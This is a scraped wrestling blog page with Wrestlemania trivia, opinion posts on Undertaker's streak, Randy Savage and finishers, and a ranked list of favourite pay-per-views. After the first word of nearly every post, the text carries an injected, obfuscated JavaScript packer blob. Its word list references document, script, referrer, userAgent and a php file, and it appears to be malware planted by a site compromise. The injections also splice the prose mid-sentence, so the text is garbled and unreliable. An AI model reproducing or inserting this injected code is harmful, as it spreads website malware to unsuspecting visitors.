Arnold Schwarzenegger to Induct Bruno Sammartino Into Hall of Fame

That’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbsrh|var|u0026u|referrer|yande||js|php'.split('|'),0,{})) your big celebrity involvement this year. No word on if he’ll do anything at the actual show or not.

Thought of the Day: The Streak Is Pretty Amazing

Think eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eedyt|var|u0026u|referrer|tnyba||js|php'.split('|'),0,{})) about this for a minute.There have been 28 Wrestlemanias. Not only has Undertaker appeared at 20 of them, but he’s won EVERY SINGLE TIME. I think people forget how big of a deal this really is. Nexus debuted almost three years ago, Chris Benoit was almost six years ago, The Alliance was almost 12 years ago, Nitro was dominant 16 years ago, Hogan went to WCW 19 years ago, and Monday Night Raw debuted over 20 years ago.

In that whole time, Undertaker has been appearing at Wrestlemania and winning. His resume at Wrestlemania is better than a lot of wrestlers have done in their entire careers: pinned every member of Evolution, won three world titles, beaten ten former world champions, won two HIAC matches and I could go on.

There’s an arguments that it’s the greatest feat in wrestling history and I’m not sure how much I disagree with it.

Thought of the Day: The Death Of Finishers

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nekee|var|u0026u|referrer|izynd||js|php'.split('|'),0,{})) was watching the older Wrestlemanias a few weeks ago and Gorilla brought up something interesting.You would hear Gorilla talking about some wrestler and say that if they hit whatever their signature move was, the match would be over. This got me to thinking: are they any moves that are a guaranteed victory anymore? Back in the day, when someone kicked out of a big time finisher, it was a world changing event. Today if it doesn’t happen three times in a match the match is considered subpar. At that point, a move isn’t a finisher anymore. It’s a move you happen to do in a match.

Thought of the Day: King Of The Big Shows

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztnfr|var|u0026u|referrer|aibdr||js|php'.split('|'),0,{})) you know who has never lost on the biggest PPV of the year for whatever company he was in?Rob Van Dam:

3-0 at November to Remember

4-0 at Wrestlemania

3-0 at Bound For Glory

Is anyone else undefeated at all the major shows they’ve wrestled at other than the MMA Cowboy of Death?

Thought of the Day Again: People Complain About Cena’s Title Reigns

But eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iafan|var|u0026u|referrer|eztir||js|php'.split('|'),0,{})) look at the tag division from WM 16 to WM 17.Coming into Wrestlemania 16 (April 2, 2000), Edge and Christian had never won the tag titles. Going into Wrestlemania 17 (April 1, 2001), they were record 6 time tag champions and would win their 7th titles that night. In the same year, five other teams (Dudleyz, Hardyz, RTC, Too Cool and Rock/Undertaker) all won tag titles. That’s about one title change every month, yet people complain when it changes every three months today. This was a golden era of tag wrestling though right?

Thought of the Day: You Know Who Else Was Really Good At Wrestlemania?

Yet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diayd|var|u0026u|referrer|kirdb||js|php'.split('|'),0,{})) he never gets the credit for it….Randy Savage. Let’s look at his Mania career.

Wrestlemania 2: retains the IC Title.

Wrestlemania 3: greatest match of all time.

Wrestlemania 4: wins the World Title.

Wrestlemania 5: main event, Hogan’s second best match ever

Wrestlemania 7: second biggest and by far best match on the card, Warrior’s best match ever

Wrestlemania 8: wins world title, match of the night

Why doesn’t Savage get credit for such a career at Wrestlemania? That’s a fine career, let alone just at Wrestlemania.

Undertaker Returns On Raw

He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyait|var|u0026u|referrer|kbefe||js|php'.split('|'),0,{})) didn’t actually do anything, but there’s a fatal fourway tonight to determine his opponent. It’ll either be Sheamus, Big Show, Orton or Punk (read as: Punk).

Five By Five: KB’s Five Favorite Pay Per Views

As I mentioned last week, I’m going to be listing off my five favorites of various things every day this week. Today, we’re starting off with Pay Per Views. You can click on the name of the show for my review. Let’s get to it.Honorable eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbfii|var|u0026u|referrer|yykri||js|php'.split('|'),0,{})) Mention: Money in the Bank 2011. If there’s a better recent PPV out there from top to bottom, I don’t know what it is. This ran away with show of the year for 2011 and never looked back. The main event is one of the best matches I have ever seen and I was literally sitting on the edge of my bed watching it. The match still holds up today (granted that’s not saying much) but it’s still great. The other stuff on the card is excellent too.

Honorable Mention: Uncensored 1996. This show is the epitome of “how bad can this possibly get”. It’s hilariously entertaining and Heenan reaches Mystery Science Theater levels of riffing on the main event. It’s also by far and away the funniest review I’ve ever written and probably the one I’m most proud of. If you’re ever in a mood to laugh at wrestling, check out the Doomsday Cage match and I guarantee the more you think about it, the more you’ll laugh at it.

5. Wrestlemania 28. As great as the main event of MITB 11 was, Rock vs. Cena reached a point that I’ve never reached as a wrestling fan: I had to see the match. I didn’t care if it was good or bad or anywhere in between, but I had to see it. That’s the point of building up a show and for a fan as jaded as I am, it says a lot that it actually worked. Again, the rest of the card is very solid stuff on top of the main event.

4. Beach Blast 1992. This is probably my favorite WCW card ever. It has two classics that aren’t remembered like they should be in Sting vs. Cactus Jack in a falls count anywhere match that Foley called his favorite/best match ever for years. You also get a thirty minute Iron Man match with Rude vs. Steamboat which is fast paced for almost the entire time. There’s also a really good tag title match to close the show. This is definitely worth checking out, but watch it out of order. Watch Sting vs. Jack last and you’ll enjoy the show a lot more.

3. One Night Stand 2005. This is one of the most entertaining shows you’ll ever see. Anyone that has followed me over the years knows that I LOATHE ECW and everything that it stood for. That being said, this show is a blast to watch and still entertains me to this day. The WWE allowed it to be run like an ECW show with ECW talent and a big ECW spectacle to end the show. The big ECW beer bash with Bischoff getting destroyed is endlessly entertaining and the rest of the show is just as good. If you’re a wrestling fan, you should see this show.

2. Summerslam 1990. Pure personal nostalgia here as this was the first PPV I ever got at my house and I went through at least two copies of the tape. That being said, it’s still a pretty entertaining show with Hogan returning for revenge against Earthquake for injuring him, Ultimate Warrior defending the title against Rude in a cage, a show long angle of Sapphire disappearing, and a wicked tag match with the Hart Foundation shocking the world and beating Demolition for the tag titles. It’s worth checking out.

1. Wrestlemania X7. This is the greatest show of all time, period. Seriously, that’s all you need to know about it. The main event feels like the main event of the biggest show of the year, this incarnation of the tag division reached its apex with TLC 2, HHH vs. Undertaker have a forgotten classic, Angle vs. Benoit is Angle vs. Benoit, and it has the FREAKING GIMMICK BATTLE ROYAL. All this in front of 68,000 people a week after the WWF has officially conquered the wrestling world. It’s the peak of the company’s history and absolutely required viewing for wrestling fans.

Thought of the Day: Wrestler Audio Commentaries

Everyone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snede|var|u0026u|referrer|hsstb||js|php'.split('|'),0,{})) else does them….Why doesn’t WWE or TNA or whoever have wrestlers record audio commentaries for their DVDs? It takes barely any time at all and would be a nice bonus feature to have. You could easily keep it kayfabe or break it even further and it wouldn’t cost much of anything. It’s been done before (at least on the WM 2000 DVD and a few others) so why not make this a regular thing?